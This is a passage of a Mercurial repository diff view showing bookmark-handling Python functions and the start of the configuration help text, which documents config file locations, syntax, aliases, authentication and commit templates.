996 1002 changes.append((bm, None))
997 1003 changes.extend([(mark, marks[old]), (old, None)])
998 1004 marks.applychanges(repo, tr, changes)
999 1005 if repo._activebookmark == old and not inactive:
1000 1006 activate(repo, mark)
1001 1007
1002 1008
1003 1009 def addbookmarks(repo, tr, names, rev=None, force=False, inactive=False):
1004 1010 """add a list of bookmarks
1005 1011
1006 1012 If force is specified, then the new name can overwrite an existing
1007 1013 bookmark.
1008 1014
1009 1015 If inactive is specified, then do not activate any bookmark. Otherwise, the
1010 1016 first bookmark is activated.
1011 1017
1012 1018 Raises an abort error if old is not in the bookmark store.
1013 1019 """
1014 1020 marks = repo._bookmarks
1015 1021 cur = repo[b'.'].node()
1016 1022 newact = None
1017 1023 changes = []
1018 1024
1019 1025 # unhide revs if any
1020 1026 if rev:
1021 1027 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
1022 1028
1023 1029 ctx = scmutil.revsingle(repo, rev, None)
1024 1030 # bookmarking wdir means creating a bookmark on p1 and activating it
1025 1031 activatenew = not inactive and ctx.rev() is None
1026 1032 if ctx.node() is None:
1027 1033 ctx = ctx.p1()
1028 1034 tgt = ctx.node()
1029 1035 assert tgt
1030 1036
1031 1037 for mark in names:
1032 1038 mark = checkformat(repo, mark)
1033 1039 if newact is None:
1034 1040 newact = mark
1035 1041 if inactive and mark == repo._activebookmark:
1036 1042 deactivate(repo)
1037 1043 continue
1038 1044 for bm in marks.checkconflict(mark, force, tgt):
1039 1045 changes.append((bm, None))
1040 1046 changes.append((mark, tgt))
1041 1047
1042 1048 # nothing changed but for the one deactivated above
1043 1049 if not changes:
1044 1050 return
1045 1051
1046 1052 if ctx.hidden():
1047 1053 repo.ui.warn(_(b"bookmarking hidden changeset %s\n") % ctx.hex()[:12])
1048 1054
1049 1055 if ctx.obsolete():
1050 1056 msg = obsutil._getfilteredreason(repo, ctx.hex()[:12], ctx)
1051 1057 repo.ui.warn(b"(%s)\n" % msg)
1052 1058
1053 1059 marks.applychanges(repo, tr, changes)
1054 1060 if activatenew and cur == marks[newact]:
1055 1061 activate(repo, newact)
1056 1062 elif cur != tgt and newact == repo._activebookmark:
1057 1063 deactivate(repo)
1058 1064
1059 1065
1060 1066 def _printbookmarks(ui, repo, fm, bmarks):
1061 1067 """private method to print bookmarks
1062 1068
1063 1069 Provides a way for extensions to control how bookmarks are printed (e.g.
1064 1070 prepend or postpend names)
1065 1071 """
1066 1072 hexfn = fm.hexfunc
1067 1073 if len(bmarks) == 0 and fm.isplain():
1068 1074 ui.status(_(b"no bookmarks set\n"))
1069 1075 for bmark, (n, prefix, label) in sorted(pycompat.iteritems(bmarks)):
1070 1076 fm.startitem()
1071 1077 fm.context(repo=repo)
1072 1078 if not ui.quiet:
1073 1079 fm.plain(b' %s ' % prefix, label=label)
1074 1080 fm.write(b'bookmark', b'%s', bmark, label=label)
1075 1081 pad = b" " * (25 - encoding.colwidth(bmark))
1076 1082 fm.condwrite(
1077 1083 not ui.quiet,
1078 1084 b'rev node',
1079 1085 pad + b' %d:%s',
1080 1086 repo.changelog.rev(n),
1081 1087 hexfn(n),
1082 1088 label=label,
1083 1089 )
1084 1090 fm.data(active=(activebookmarklabel in label))
1085 1091 fm.plain(b'\n')
1086 1092
1087 1093
1088 1094 def printbookmarks(ui, repo, fm, names=None):
1089 1095 """print bookmarks by the given formatter
1090 1096
1091 1097 Provides a way for extensions to control how bookmarks are printed.
1092 1098 """
1093 1099 marks = repo._bookmarks
1094 1100 bmarks = {}
1095 1101 for bmark in names or marks:
1096 1102 if bmark not in marks:
1097 1103 raise error.InputError(_(b"bookmark '%s' does not exist") % bmark)
1098 1104 active = repo._activebookmark
1099 1105 if bmark == active:
1100 1106 prefix, label = b'*', activebookmarklabel
1101 1107 else:
1102 1108 prefix, label = b' ', b''
1103 1109
1104 1110 bmarks[bmark] = (marks[bmark], prefix, label)
1105 1111 _printbookmarks(ui, repo, fm, bmarks)
1106 1112
1107 1113
1108 1114 def preparehookargs(name, old, new):
1109 1115 if new is None:
1110 1116 new = b''
1111 1117 if old is None:
1112 1118 old = b''
1113 1119 return {b'bookmark': name, b'node': hex(new), b'oldnode': hex(old)}
@@ -1,3117 +1,3120
1 1 The Mercurial system uses a set of configuration files to control
2 2 aspects of its behavior.
3 3
4 4 Troubleshooting
5 5 ===============
6 6
7 7 If you're having problems with your configuration,
8 8 :hg:`config --source` can help you understand what is introducing
9 9 a setting into your environment.
10 10
11 11 See :hg:`help config.syntax` and :hg:`help config.files`
12 12 for information about how and where to override things.
13 13
14 14 Structure
15 15 =========
16 16
17 17 The configuration files use a simple ini-file format. A configuration
18 18 file consists of sections, led by a ``[section]`` header and followed
19 19 by ``name = value`` entries::
20 20
21 21 [ui]
22 22 username = Firstname Lastname <firstname.lastname@example.net>
23 23 verbose = True
24 24
25 25 The above entries will be referred to as ``ui.username`` and
26 26 ``ui.verbose``, respectively. See :hg:`help config.syntax`.
27 27
28 28 Files
29 29 =====
30 30
31 31 Mercurial reads configuration data from several files, if they exist.
32 32 These files do not exist by default and you will have to create the
33 33 appropriate configuration files yourself:
34 34
35 35 Local configuration is put into the per-repository ``<repo>/.hg/hgrc`` file.
36 36
37 37 Global configuration like the username setting is typically put into:
38 38
39 39 .. container:: windows
40 40
41 41 - ``%USERPROFILE%\mercurial.ini`` (on Windows)
42 42
43 43 .. container:: unix.plan9
44 44
45 45 - ``$HOME/.hgrc`` (on Unix, Plan9)
46 46
47 47 The names of these files depend on the system on which Mercurial is
48 48 installed. ``*.rc`` files from a single directory are read in
49 49 alphabetical order, later ones overriding earlier ones. Where multiple
50 50 paths are given below, settings from earlier paths override later
51 51 ones.
52 52
53 53 .. container:: verbose.unix
54 54
55 55 On Unix, the following files are consulted:
56 56
57 57 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
58 58 - ``<repo>/.hg/hgrc`` (per-repository)
59 59 - ``$HOME/.hgrc`` (per-user)
60 60 - ``${XDG_CONFIG_HOME:-$HOME/.config}/hg/hgrc`` (per-user)
61 61 - ``<install-root>/etc/mercurial/hgrc`` (per-installation)
62 62 - ``<install-root>/etc/mercurial/hgrc.d/*.rc`` (per-installation)
63 63 - ``/etc/mercurial/hgrc`` (per-system)
64 64 - ``/etc/mercurial/hgrc.d/*.rc`` (per-system)
65 65 - ``<internal>/*.rc`` (defaults)
66 66
67 67 .. container:: verbose.windows
68 68
69 69 On Windows, the following files are consulted:
70 70
71 71 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
72 72 - ``<repo>/.hg/hgrc`` (per-repository)
73 73 - ``%USERPROFILE%\.hgrc`` (per-user)
74 74 - ``%USERPROFILE%\Mercurial.ini`` (per-user)
75 75 - ``%HOME%\.hgrc`` (per-user)
76 76 - ``%HOME%\Mercurial.ini`` (per-user)
77 77 - ``HKEY_LOCAL_MACHINE\SOFTWARE\Mercurial`` (per-system)
78 78 - ``<install-dir>\hgrc.d\*.rc`` (per-installation)
79 79 - ``<install-dir>\Mercurial.ini`` (per-installation)
80 80 - ``%PROGRAMDATA%\Mercurial\hgrc`` (per-system)
81 81 - ``%PROGRAMDATA%\Mercurial\Mercurial.ini`` (per-system)
82 82 - ``%PROGRAMDATA%\Mercurial\hgrc.d\*.rc`` (per-system)
83 83 - ``<internal>/*.rc`` (defaults)
84 84
85 85 .. note::
86 86
87 87 The registry key ``HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mercurial``
88 88 is used when running 32-bit Python on 64-bit Windows.
89 89
90 90 .. container:: verbose.plan9
91 91
92 92 On Plan9, the following files are consulted:
93 93
94 94 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
95 95 - ``<repo>/.hg/hgrc`` (per-repository)
96 96 - ``$home/lib/hgrc`` (per-user)
97 97 - ``<install-root>/lib/mercurial/hgrc`` (per-installation)
98 98 - ``<install-root>/lib/mercurial/hgrc.d/*.rc`` (per-installation)
99 99 - ``/lib/mercurial/hgrc`` (per-system)
100 100 - ``/lib/mercurial/hgrc.d/*.rc`` (per-system)
101 101 - ``<internal>/*.rc`` (defaults)
102 102
103 103 Per-repository configuration options only apply in a
104 104 particular repository. This file is not version-controlled, and
105 105 will not get transferred during a "clone" operation. Options in
106 106 this file override options in all other configuration files.
107 107
108 108 .. container:: unix.plan9
109 109
110 110 On Plan 9 and Unix, most of this file will be ignored if it doesn't
111 111 belong to a trusted user or to a trusted group. See
112 112 :hg:`help config.trusted` for more details.
113 113
114 114 Per-user configuration file(s) are for the user running Mercurial. Options
115 115 in these files apply to all Mercurial commands executed by this user in any
116 116 directory. Options in these files override per-system and per-installation
117 117 options.
118 118
119 119 Per-installation configuration files are searched for in the
120 120 directory where Mercurial is installed. ``<install-root>`` is the
121 121 parent directory of the **hg** executable (or symlink) being run.
122 122
123 123 .. container:: unix.plan9
124 124
125 125 For example, if installed in ``/shared/tools/bin/hg``, Mercurial
126 126 will look in ``/shared/tools/etc/mercurial/hgrc``. Options in these
127 127 files apply to all Mercurial commands executed by any user in any
128 128 directory.
129 129
130 130 Per-installation configuration files are for the system on
131 131 which Mercurial is running. Options in these files apply to all
132 132 Mercurial commands executed by any user in any directory. Registry
133 133 keys contain PATH-like strings, every part of which must reference
134 134 a ``Mercurial.ini`` file or be a directory where ``*.rc`` files will
135 135 be read. Mercurial checks each of these locations in the specified
136 136 order until one or more configuration files are detected.
137 137
138 138 Per-system configuration files are for the system on which Mercurial
139 139 is running. Options in these files apply to all Mercurial commands
140 140 executed by any user in any directory. Options in these files
141 141 override per-installation options.
142 142
143 143 Mercurial comes with some default configuration. The default configuration
144 144 files are installed with Mercurial and will be overwritten on upgrades. Default
145 145 configuration files should never be edited by users or administrators but can
146 146 be overridden in other configuration files. So far the directory only contains
147 147 merge tool configuration but packagers can also put other default configuration
148 148 there.
149 149
150 150 On versions 5.7 and later, if share-safe functionality is enabled,
151 151 shares will read config file of share source too.
152 152 `<share-source/.hg/hgrc>` is read before reading `<repo/.hg/hgrc>`.
153 153
154 154 For configs which should not be shared, `<repo/.hg/hgrc-not-shared>`
155 155 should be used.
156 156
157 157 Syntax
158 158 ======
159 159
160 160 A configuration file consists of sections, led by a ``[section]`` header
161 161 and followed by ``name = value`` entries (sometimes called
162 162 ``configuration keys``)::
163 163
164 164 [spam]
165 165 eggs=ham
166 166 green=
167 167 eggs
168 168
169 169 Each line contains one entry. If the lines that follow are indented,
170 170 they are treated as continuations of that entry. Leading whitespace is
171 171 removed from values. Empty lines are skipped. Lines beginning with
172 172 ``#`` or ``;`` are ignored and may be used to provide comments.
173 173
174 174 Configuration keys can be set multiple times, in which case Mercurial
175 175 will use the value that was configured last. As an example::
176 176
177 177 [spam]
178 178 eggs=large
179 179 ham=serrano
180 180 eggs=small
181 181
182 182 This would set the configuration key named ``eggs`` to ``small``.
183 183
184 184 It is also possible to define a section multiple times. A section can
185 185 be redefined on the same and/or on different configuration files. For
186 186 example::
187 187
188 188 [foo]
189 189 eggs=large
190 190 ham=serrano
191 191 eggs=small
192 192
193 193 [bar]
194 194 eggs=ham
195 195 green=
196 196 eggs
197 197
198 198 [foo]
199 199 ham=prosciutto
200 200 eggs=medium
201 201 bread=toasted
202 202
203 203 This would set the ``eggs``, ``ham``, and ``bread`` configuration keys
204 204 of the ``foo`` section to ``medium``, ``prosciutto``, and ``toasted``,
205 205 respectively. As you can see there only thing that matters is the last
206 206 value that was set for each of the configuration keys.
207 207
208 208 If a configuration key is set multiple times in different
209 209 configuration files the final value will depend on the order in which
210 210 the different configuration files are read, with settings from earlier
211 211 paths overriding later ones as described on the ``Files`` section
212 212 above.
213 213
214 214 A line of the form ``%include file`` will include ``file`` into the
215 215 current configuration file. The inclusion is recursive, which means
216 216 that included files can include other files. Filenames are relative to
217 217 the configuration file in which the ``%include`` directive is found.
218 218 Environment variables and ``~user`` constructs are expanded in
219 219 ``file``. This lets you do something like::
220 220
221 221 %include ~/.hgrc.d/$HOST.rc
222 222
223 223 to include a different configuration file on each computer you use.
224 224
225 225 A line with ``%unset name`` will remove ``name`` from the current
226 226 section, if it has been set previously.
227 227
228 228 The values are either free-form text strings, lists of text strings,
229 229 or Boolean values. Boolean values can be set to true using any of "1",
230 230 "yes", "true", or "on" and to false using "0", "no", "false", or "off"
231 231 (all case insensitive).
232 232
233 233 List values are separated by whitespace or comma, except when values are
234 234 placed in double quotation marks::
235 235
236 236 allow_read = "John Doe, PhD", brian, betty
237 237
238 238 Quotation marks can be escaped by prefixing them with a backslash. Only
239 239 quotation marks at the beginning of a word is counted as a quotation
240 240 (e.g., ``foo"bar baz`` is the list of ``foo"bar`` and ``baz``).
241 241
242 242 Sections
243 243 ========
244 244
245 245 This section describes the different sections that may appear in a
246 246 Mercurial configuration file, the purpose of each section, its possible
247 247 keys, and their possible values.
248 248
249 249 ``alias``
250 250 ---------
251 251
252 252 Defines command aliases.
253 253
254 254 Aliases allow you to define your own commands in terms of other
255 255 commands (or aliases), optionally including arguments. Positional
256 256 arguments in the form of ``$1``, ``$2``, etc. in the alias definition
257 257 are expanded by Mercurial before execution. Positional arguments not
258 258 already used by ``$N`` in the definition are put at the end of the
259 259 command to be executed.
260 260
261 261 Alias definitions consist of lines of the form::
262 262
263 263 <alias> = <command> [<argument>]...
264 264
265 265 For example, this definition::
266 266
267 267 latest = log --limit 5
268 268
269 269 creates a new command ``latest`` that shows only the five most recent
270 270 changesets. You can define subsequent aliases using earlier ones::
271 271
272 272 stable5 = latest -b stable
273 273
274 274 .. note::
275 275
276 276 It is possible to create aliases with the same names as
277 277 existing commands, which will then override the original
278 278 definitions. This is almost always a bad idea!
279 279
280 280 An alias can start with an exclamation point (``!``) to make it a
281 281 shell alias. A shell alias is executed with the shell and will let you
282 282 run arbitrary commands. As an example, ::
283 283
284 284 echo = !echo $@
285 285
286 286 will let you do ``hg echo foo`` to have ``foo`` printed in your
287 287 terminal. A better example might be::
288 288
289 289 purge = !$HG status --no-status --unknown -0 re: | xargs -0 rm -f
290 290
291 291 which will make ``hg purge`` delete all unknown files in the
292 292 repository in the same manner as the purge extension.
293 293
294 294 Positional arguments like ``$1``, ``$2``, etc. in the alias definition
295 295 expand to the command arguments. Unmatched arguments are
296 296 removed. ``$0`` expands to the alias name and ``$@`` expands to all
297 297 arguments separated by a space. ``"$@"`` (with quotes) expands to all
298 298 arguments quoted individually and separated by a space. These expansions
299 299 happen before the command is passed to the shell.
300 300
301 301 Shell aliases are executed in an environment where ``$HG`` expands to
302 302 the path of the Mercurial that was used to execute the alias. This is
303 303 useful when you want to call further Mercurial commands in a shell
304 304 alias, as was done above for the purge alias. In addition,
305 305 ``$HG_ARGS`` expands to the arguments given to Mercurial. In the ``hg
306 306 echo foo`` call above, ``$HG_ARGS`` would expand to ``echo foo``.
307 307
308 308 .. note::
309 309
310 310 Some global configuration options such as ``-R`` are
311 311 processed before shell aliases and will thus not be passed to
312 312 aliases.
313 313
314 314
315 315 ``annotate``
316 316 ------------
317 317
318 318 Settings used when displaying file annotations. All values are
319 319 Booleans and default to False. See :hg:`help config.diff` for
320 320 related options for the diff command.
321 321
322 322 ``ignorews``
323 323 Ignore white space when comparing lines.
324 324
325 325 ``ignorewseol``
326 326 Ignore white space at the end of a line when comparing lines.
327 327
328 328 ``ignorewsamount``
329 329 Ignore changes in the amount of white space.
330 330
331 331 ``ignoreblanklines``
332 332 Ignore changes whose lines are all blank.
333 333
334 334
335 335 ``auth``
336 336 --------
337 337
338 338 Authentication credentials and other authentication-like configuration
339 339 for HTTP connections. This section allows you to store usernames and
340 340 passwords for use when logging *into* HTTP servers. See
341 341 :hg:`help config.web` if you want to configure *who* can login to
342 342 your HTTP server.
343 343
344 344 The following options apply to all hosts.
345 345
346 346 ``cookiefile``
347 347 Path to a file containing HTTP cookie lines. Cookies matching a
348 348 host will be sent automatically.
349 349
350 350 The file format uses the Mozilla cookies.txt format, which defines cookies
351 351 on their own lines. Each line contains 7 fields delimited by the tab
352 352 character (domain, is_domain_cookie, path, is_secure, expires, name,
353 353 value). For more info, do an Internet search for "Netscape cookies.txt
354 354 format."
355 355
356 356 Note: the cookies parser does not handle port numbers on domains. You
357 357 will need to remove ports from the domain for the cookie to be recognized.
358 358 This could result in a cookie being disclosed to an unwanted server.
359 359
360 360 The cookies file is read-only.
361 361
362 362 Other options in this section are grouped by name and have the following
363 363 format::
364 364
365 365 <name>.<argument> = <value>
366 366
367 367 where ``<name>`` is used to group arguments into authentication
368 368 entries. Example::
369 369
370 370 foo.prefix = hg.intevation.de/mercurial
371 371 foo.username = foo
372 372 foo.password = bar
373 373 foo.schemes = http https
374 374
375 375 bar.prefix = secure.example.org
376 376 bar.key = path/to/file.key
377 377 bar.cert = path/to/file.cert
378 378 bar.schemes = https
379 379
380 380 Supported arguments:
381 381
382 382 ``prefix``
383 383 Either ``*`` or a URI prefix with or without the scheme part.
384 384 The authentication entry with the longest matching prefix is used
385 385 (where ``*`` matches everything and counts as a match of length
386 386 1). If the prefix doesn't include a scheme, the match is performed
387 387 against the URI with its scheme stripped as well, and the schemes
388 388 argument, q.v., is then subsequently consulted.
389 389
390 390 ``username``
391 391 Optional. Username to authenticate with. If not given, and the
392 392 remote site requires basic or digest authentication, the user will
393 393 be prompted for it. Environment variables are expanded in the
394 394 username letting you do ``foo.username = $USER``. If the URI
395 395 includes a username, only ``[auth]`` entries with a matching
396 396 username or without a username will be considered.
397 397
398 398 ``password``
399 399 Optional. Password to authenticate with. If not given, and the
400 400 remote site requires basic or digest authentication, the user
401 401 will be prompted for it.
402 402
403 403 ``key``
404 404 Optional. PEM encoded client certificate key file. Environment
405 405 variables are expanded in the filename.
406 406
407 407 ``cert``
408 408 Optional. PEM encoded client certificate chain file. Environment
409 409 variables are expanded in the filename.
410 410
411 411 ``schemes``
412 412 Optional. Space separated list of URI schemes to use this
413 413 authentication entry with. Only used if the prefix doesn't include
414 414 a scheme. Supported schemes are http and https. They will match
415 415 static-http and static-https respectively, as well.
416 416 (default: https)
417 417
418 418 If no suitable authentication entry is found, the user is prompted
419 419 for credentials as usual if required by the remote.
420 420
421 421 ``cmdserver``
422 422 -------------
423 423
424 424 Controls command server settings. (ADVANCED)
425 425
426 426 ``message-encodings``
427 427 List of encodings for the ``m`` (message) channel. The first encoding
428 428 supported by the server will be selected and advertised in the hello
429 429 message. This is useful only when ``ui.message-output`` is set to
430 430 ``channel``. Supported encodings are ``cbor``.
431 431
432 432 ``shutdown-on-interrupt``
433 433 If set to false, the server's main loop will continue running after
434 434 SIGINT received. ``runcommand`` requests can still be interrupted by
435 435 SIGINT. Close the write end of the pipe to shut down the server
436 436 process gracefully.
437 437 (default: True)
438 438
439 439 ``color``
440 440 ---------
441 441
442 442 Configure the Mercurial color mode. For details about how to define your custom
443 443 effect and style see :hg:`help color`.
444 444
445 445 ``mode``
446 446 String: control the method used to output color. One of ``auto``, ``ansi``,
447 447 ``win32``, ``terminfo`` or ``debug``. In auto mode, Mercurial will
448 448 use ANSI mode by default (or win32 mode prior to Windows 10) if it detects a
449 449 terminal. Any invalid value will disable color.
450 450
451 451 ``pagermode``
452 452 String: optional override of ``color.mode`` used with pager.
453 453
454 454 On some systems, terminfo mode may cause problems when using
455 455 color with ``less -R`` as a pager program. less with the -R option
456 456 will only display ECMA-48 color codes, and terminfo mode may sometimes
457 457 emit codes that less doesn't understand. You can work around this by
458 458 either using ansi mode (or auto mode), or by using less -r (which will
459 459 pass through all terminal control codes, not just color control
460 460 codes).
461 461
462 462 On some systems (such as MSYS in Windows), the terminal may support
463 463 a different color mode than the pager program.
464 464
465 465 ``commands``
466 466 ------------
467 467
468 468 ``commit.post-status``
469 469 Show status of files in the working directory after successful commit.
470 470 (default: False)
471 471
472 472 ``merge.require-rev``
473 473 Require that the revision to merge the current commit with be specified on
474 474 the command line. If this is enabled and a revision is not specified, the
475 475 command aborts.
476 476 (default: False)
477 477
478 478 ``push.require-revs``
479 479 Require revisions to push be specified using one or more mechanisms such as
480 480 specifying them positionally on the command line, using ``-r``, ``-b``,
481 481 and/or ``-B`` on the command line, or using ``paths.<path>:pushrev`` in the
482 482 configuration. If this is enabled and revisions are not specified, the
483 483 command aborts.
484 484 (default: False)
485 485
486 486 ``resolve.confirm``
487 487 Confirm before performing action if no filename is passed.
488 488 (default: False)
489 489
490 490 ``resolve.explicit-re-merge``
491 491 Require uses of ``hg resolve`` to specify which action it should perform,
492 492 instead of re-merging files by default.
493 493 (default: False)
494 494
495 495 ``resolve.mark-check``
496 496 Determines what level of checking :hg:`resolve --mark` will perform before
497 497 marking files as resolved. Valid values are ``none`, ``warn``, and
498 498 ``abort``. ``warn`` will output a warning listing the file(s) that still
499 499 have conflict markers in them, but will still mark everything resolved.
500 500 ``abort`` will output the same warning but will not mark things as resolved.
501 501 If --all is passed and this is set to ``abort``, only a warning will be
502 502 shown (an error will not be raised).
503 503 (default: ``none``)
504 504
505 505 ``status.relative``
506 506 Make paths in :hg:`status` output relative to the current directory.
507 507 (default: False)
508 508
509 509 ``status.terse``
510 510 Default value for the --terse flag, which condenses status output.
511 511 (default: empty)
512 512
513 513 ``update.check``
514 514 Determines what level of checking :hg:`update` will perform before moving
515 515 to a destination revision. Valid values are ``abort``, ``none``,
516 516 ``linear``, and ``noconflict``. ``abort`` always fails if the working
517 517 directory has uncommitted changes. ``none`` performs no checking, and may
518 518 result in a merge with uncommitted changes. ``linear`` allows any update
519 519 as long as it follows a straight line in the revision history, and may
520 520 trigger a merge with uncommitted changes. ``noconflict`` will allow any
521 521 update which would not trigger a merge with uncommitted changes, if any
522 522 are present.
523 523 (default: ``linear``)
524 524
525 525 ``update.requiredest``
526 526 Require that the user pass a destination when running :hg:`update`.
527 527 For example, :hg:`update .::` will be allowed, but a plain :hg:`update`
528 528 will be disallowed.
529 529 (default: False)
530 530
531 531 ``committemplate``
532 532 ------------------
533 533
534 534 ``changeset``
535 535 String: configuration in this section is used as the template to
536 536 customize the text shown in the editor when committing.
537 537
538 538 In addition to pre-defined template keywords, commit log specific one
539 539 below can be used for customization:
540 540
541 541 ``extramsg``
542 542 String: Extra message (typically 'Leave message empty to abort
543 543 commit.'). This may be changed by some commands or extensions.
544 544
545 545 For example, the template configuration below shows as same text as
546 546 one shown by default::
547 547
548 548 [committemplate]
549 549 changeset = {desc}\n\n
550 550 HG: Enter commit message. Lines beginning with 'HG:' are removed.
551 551 HG: {extramsg}
552 552 HG: --
553 553 HG: user: {author}\n{ifeq(p2rev, "-1", "",
554 554 "HG: branch merge\n")
555 555 }HG: branch '{branch}'\n{if(activebookmark,
556 556 "HG: bookmark '{activebookmark}'\n") }{subrepos %
557 557 "HG: subrepo {subrepo}\n" }{file_adds %
558 558 "HG: added {file}\n" }{file_mods %
559 559 "HG: changed {file}\n" }{file_dels %
560 560 "HG: removed {file}\n" }{if(files, "",
561 561 "HG: no files changed\n")}
562 562
563 563 ``diff()``
564 564 String: show the diff (see :hg:`help templates` for detail)
565 565
566 566 Sometimes it is helpful to show the diff of the changeset in the editor without
567 567 having to prefix 'HG: ' to each line so that highlighting works correctly. For
568 568 this, Mercurial provides a special string which will ignore everything below
569 569 it::
570 570
571 571 HG: ------------------------ >8 ------------------------
572 572
573 573 For example, the template configuration below will show the diff below the
574 574 extra message::
575 575
576 576 [committemplate]
577 577 changeset = {desc}\n\n
578 578 HG: Enter commit message. Lines beginning with 'HG:' are removed.
579 579 HG: {extramsg}
580 580 HG: ------------------------ >8 ------------------------
581 581 HG: Do not touch the line above.
582 582 HG: Everything below will be removed.
583 583 {diff()}
584 584
585 585 .. note::
586 586
587 587 For some problematic encodings (see :hg:`help win32mbcs` for
588 588 detail), this customization should be configured carefully, to
589 589 avoid showing broken characters.
590 590
591 591 For example, if a multibyte character ending with backslash (0x5c) is
592 592 followed by the ASCII character 'n' in the customized template,
593 593 the sequence of backslash and 'n' is treated as line-feed unexpectedly
594 594 (and the multibyte character is broken, too).
595 595
596 596 Customized template is used for commands below (``--edit`` may be
597 597 required):
598 598
599 599 - :hg:`backout`
600 600 - :hg:`commit`
601 601 - :hg:`fetch` (for merge commit only)
602 602 - :hg:`graft`
603 603 - :hg:`histedit`
604 604 - :hg:`import`
605 605 - :hg:`qfold`, :hg:`qnew` and :hg:`qrefresh`
606 606 - :hg:`rebase`
607 607 - :hg:`shelve`
608 608 - :hg:`sign`
609 609 - :hg:`tag`
610 610 - :hg:`transplant`
611 611
612 612 Configuring items below instead of ``changeset`` allows showing
613 613 customized message only for specific actions, or showing different
614 614 messages for each action.
615 615
616 616 - ``changeset.backout`` for :hg:`backout`
617 617 - ``changeset.commit.amend.merge`` for :hg:`commit --amend` on merges
618 618 - ``changeset.commit.amend.normal`` for :hg:`commit --amend` on other
619 619 - ``changeset.commit.normal.merge`` for :hg:`commit` on merges
620 620 - ``changeset.commit.normal.normal`` for :hg:`commit` on other
621 621 - ``changeset.fetch`` for :hg:`fetch` (impling merge commit)
622 622 - ``changeset.gpg.sign`` for :hg:`sign`
623 623 - ``changeset.graft`` for :hg:`graft`
624 624 - ``changeset.histedit.edit`` for ``edit`` of :hg:`histedit`
625 625 - ``changeset.histedit.fold`` for ``fold`` of :hg:`histedit`
626 626 - ``changeset.histedit.mess`` for ``mess`` of :hg:`histedit`
627 627 - ``changeset.histedit.pick`` for ``pick`` of :hg:`histedit`
628 628 - ``changeset.import.bypass`` for :hg:`import --bypass`
629 629 - ``changeset.import.normal.merge`` for :hg:`import` on merges
630 630 - ``changeset.import.normal.normal`` for :hg:`import` on other
631 631 - ``changeset.mq.qnew`` for :hg:`qnew`
632 632 - ``changeset.mq.qfold`` for :hg:`qfold`
633 633 - ``changeset.mq.qrefresh`` for :hg:`qrefresh`
634 634 - ``changeset.rebase.collapse`` for :hg:`rebase --collapse`
635 635 - ``changeset.rebase.merge`` for :hg:`rebase` on merges
636 636 - ``changeset.rebase.normal`` for :hg:`rebase` on other
637 637 - ``changeset.shelve.shelve`` for :hg:`shelve`
638 638 - ``changeset.tag.add`` for :hg:`tag` without ``--remove``
639 639 - ``changeset.tag.remove`` for :hg:`tag --remove`
640 640 - ``changeset.transplant.merge`` for :hg:`transplant` on merges
641 641 - ``changeset.transplant.normal`` for :hg:`transplant` on other
642 642
643 643 These dot-separated lists of names are treated as hierarchical ones.
644 644 For example, ``changeset.tag.remove`` customizes the commit message
645 645 only for :hg:`tag --remove`, but ``changeset.tag`` customizes the
646 646 commit message for :hg:`tag` regardless of ``--remove`` option.
647 647
648 648 When the external editor is invoked for a commit, the corresponding
649 649 dot-separated list of names without the ``changeset.`` prefix
650 650 (e.g. ``commit.normal.normal``) is in the ``HGEDITFORM`` environment
651 651 variable.
652 652
653 653 In this section, items other than ``changeset`` can be referred from
654 654 others. For example, the configuration to list committed files up
655 655 below can be referred as ``{listupfiles}``::
656 656
657 657 [committemplate]
658 658 listupfiles = {file_adds %
659 659 "HG: added {file}\n" }{file_mods %
660 660 "HG: changed {file}\n" }{file_dels %
661 661 "HG: removed {file}\n" }{if(files, "",
662 662 "HG: no files changed\n")}
663 663
664 664 ``decode/encode``
665 665 -----------------
666 666
667 667 Filters for transforming files on checkout/checkin. This would
668 668 typically be used for newline processing or other
669 669 localization/canonicalization of files.
670 670
671 671 Filters consist of a filter pattern followed by a filter command.
672 672 Filter patterns are globs by default, rooted at the repository root.
673 673 For example, to match any file ending in ``.txt`` in the root
674 674 directory only, use the pattern ``*.txt``. To match any file ending
675 675 in ``.c`` anywhere in the repository, use the pattern ``**.c``.
676 676 For each file only the first matching filter applies.
677 677
678 678 The filter command can start with a specifier, either ``pipe:`` or
679 679 ``tempfile:``. If no specifier is given, ``pipe:`` is used by default.
680 680
681 681 A ``pipe:`` command must accept data on stdin and return the transformed
682 682 data on stdout.
683 683
684 684 Pipe example::
685 685
686 686 [encode]
687 687 # uncompress gzip files on checkin to improve delta compression
688 688 # note: not necessarily a good idea, just an example
689 689 *.gz = pipe: gunzip
690 690
691 691 [decode]
692 692 # recompress gzip files when writing them to the working dir (we
693 693 # can safely omit "pipe:", because it's the default)
694 694 *.gz = gzip
695 695
696 696 A ``tempfile:`` command is a template. The string ``INFILE`` is replaced
697 697 with the name of a temporary file that contains the data to be
698 698 filtered by the command. The string ``OUTFILE`` is replaced with the name
699 699 of an empty temporary file, where the filtered data must be written by
700 700 the command.
701 701
702 702 .. container:: windows
703 703
704 704 .. note::
705 705
706 706 The tempfile mechanism is recommended for Windows systems,
707 707 where the standard shell I/O redirection operators often have
708 708 strange effects and may corrupt the contents of your files.
709 709
710 710 This filter mechanism is used internally by the ``eol`` extension to
711 711 translate line ending characters between Windows (CRLF) and Unix (LF)
712 712 format. We suggest you use the ``eol`` extension for convenience.
713 713
714 714
715 715 ``defaults``
716 716 ------------
717 717
718 718 (defaults are deprecated. Don't use them. Use aliases instead.)
719 719
720 720 Use the ``[defaults]`` section to define command defaults, i.e. the
721 721 default options/arguments to pass to the specified commands.
722 722
723 723 The following example makes :hg:`log` run in verbose mode, and
724 724 :hg:`status` show only the modified files, by default::
725 725
726 726 [defaults]
727 727 log = -v
728 728 status = -m
729 729
730 730 The actual commands, instead of their aliases, must be used when
731 731 defining command defaults. The command defaults will also be applied
732 732 to the aliases of the commands defined.
733 733
734 734
735 735 ``diff``
736 736 --------
737 737
738 738 Settings used when displaying diffs. Everything except for ``unified``
739 739 is a Boolean and defaults to False. See :hg:`help config.annotate`
740 740 for related options for the annotate command.
741 741
742 742 ``git``
743 743 Use git extended diff format.
744 744
745 745 ``nobinary``
746 746 Omit git binary patches.
747 747
748 748 ``nodates``
749 749 Don't include dates in diff headers.
750 750
751 751 ``noprefix``
752 752 Omit 'a/' and 'b/' prefixes from filenames. Ignored in plain mode.
753 753
754 754 ``showfunc``
755 755 Show which function each change is in.
756 756
757 757 ``ignorews``
